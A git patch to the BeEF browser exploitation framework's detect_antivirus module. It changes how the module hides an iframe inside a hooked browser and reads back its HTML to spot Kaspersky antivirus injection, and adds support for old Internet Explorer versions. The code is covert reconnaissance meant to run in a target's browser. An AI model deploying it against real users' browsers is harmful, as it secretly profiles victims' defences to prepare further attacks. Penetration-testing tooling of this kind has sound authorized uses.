From 95ebb206b3bdc95f94e64a16e8e7bb1e6cc4b25c Mon Sep 17 00:00:00 2001 From: phosphore Date: Tue, 25 Oct 2016 11:41:57 +0200 Subject: [PATCH] improve detect_av with BeEF API and compatibility with old IE versions --- modules/host/detect_antivirus/command.js | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/host/detect_antivirus/command.js b/modules/host/detect_antivirus/command.js index bbe3ba93c..d198bb6dc 100644 --- a/modules/host/detect_antivirus/command.js +++ b/modules/host/detect_antivirus/command.js @@ -8,13 +8,13 @@ beef.execute(function() { //Detection of av elements starts var image = ""; - var iframe = document.createElement("iframe"); - iframe.setAttribute("style", "margin-left:-10000000000px; margin-right: -10000000000px"); - iframe.setAttribute("id", "frmin"); - document.body.appendChild(iframe); - iframe.contentWindow.document.open(); - iframe.contentWindow.document.write(image); - iframe.contentWindow.document.close(); + var hidden_iframe = beef.dom.createInvisibleIframe(); + hidden_iframe.setAttribute("id", "frmin"); + document.body.appendChild(hidden_iframe); + var kaspersky_iframe = hidden_iframe.contentDocument || hidden_iframe.contentWindow.document; + kaspersky_iframe.open(); + kaspersky_iframe.write(image); + kaspersky_iframe.close(); var frm = document.getElementById("frmin"); ka = frm.contentDocument.getElementsByTagName("html")[0].outerHTML;